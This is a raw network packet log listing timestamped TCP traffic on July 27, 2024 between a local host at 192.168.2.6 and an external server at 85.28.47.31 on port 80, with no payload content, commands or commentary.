Jul 27, 2024 03:19:18.121001005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121035099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121035099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121036053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121082067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121082067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121315002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121347904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121381044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121413946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121431112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121431112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121450901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121484995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121515036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121515036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121517897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121568918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121577024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121577024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121603966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121635914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121670008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121680975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121680975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121720076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121783018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121793032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121793032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121831894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121865034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121876955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121876955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121916056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.121962070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121962070 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.121968985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122003078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122047901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122047901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122308969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122342110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122379065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122395039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122395039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122411013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122445107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122457027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122457027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122479916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122513056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122524023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122524023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122546911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122581005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122595072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122595072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122615099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122649908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122661114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122661114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122684002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122718096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122730970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122730970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122751951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122787952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.122797966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.122797966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.123898029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.127794027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.127923965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.127958059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.127991915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.128024101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.128057957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.128088951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.128088951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.128108978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.128225088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129230022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129262924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129312038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129313946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129347086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129364967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129398108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129430056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129446983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129446983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129465103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129498005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129514933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129514933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129548073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129582882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129597902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129597902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129615068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129635096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129650116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129662991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129664898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129664898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129684925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129698992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129698992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129698992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129714966 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129722118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129726887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129738092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129754066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129767895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129769087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129767895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129786968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.129798889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129798889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129828930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.129828930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.130023956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130088091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130101919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130116940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130131006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130141020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.130141020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.130146027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130162001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130184889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.130184889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.130212069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.130525112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130557060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.130599022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.130599022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131011963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131027937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131067991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131083012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131098986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131114006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131129980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131143093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131160975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131258011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131304979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131304979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131340981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131356955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131371975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131386995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131411076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131411076 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131412983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131429911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131449938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131477118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131477118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.131943941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131958961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131973982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131988049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.131994963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132004976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132020950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132038116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132038116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132074118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132086039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132163048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132870913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132885933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132910013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132925034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132939100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132939100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132941008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132957935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.132971048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132971048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.132972956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.133007050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.133007050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.133089066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.134143114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.134157896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.134171963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.134215117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.134215117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.134623051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.134638071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.134653091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.134668112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.134675980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.134690046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.134706974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.134721041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.134746075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.208862066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.208898067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.208931923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.208985090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.208985090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.209073067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.209105968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.209136963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.209151030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.209151030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.209193945 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.272639036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.278145075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.450859070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.450891972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.450942039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.450974941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451006889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451039076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451045036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451045036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451066971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451092958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451092958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451118946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451168060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451200008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451215029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451215029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451231956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451265097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451278925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451280117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451297998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451332092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451342106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451364994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451378107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451378107 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451396942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451430082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451442003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451442003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451462984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451495886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451515913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451515913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451545954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451579094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451591015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451591015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451612949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451646090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451658964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451659918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451678038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451714993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451719999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451719999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451747894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451781988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451795101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451795101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451816082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451848030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451858044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451858044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451905966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451951027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451951027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.451955080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.451988935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452028036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452028036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452038050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452069998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452115059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452115059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452121973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452150106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452193022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452193022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452198982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452234983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452266932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452279091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452279091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452300072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452328920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452347994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452347994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452361107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452394962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452404022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452404022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452426910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452459097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452471018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452471018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452516079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452552080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452559948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452559948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452584028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452617884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452636957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452636957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452649117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452682018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452713966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452729940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452729940 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452747107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452780008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452789068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452789068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452908039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452940941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.452946901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452965975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.452975035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453006983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453041077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453052998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453052998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453074932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453108072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453116894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453116894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453140020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453150034 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453174114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453183889 CEST	49710	80	192.168.2.6	85.28.47.31
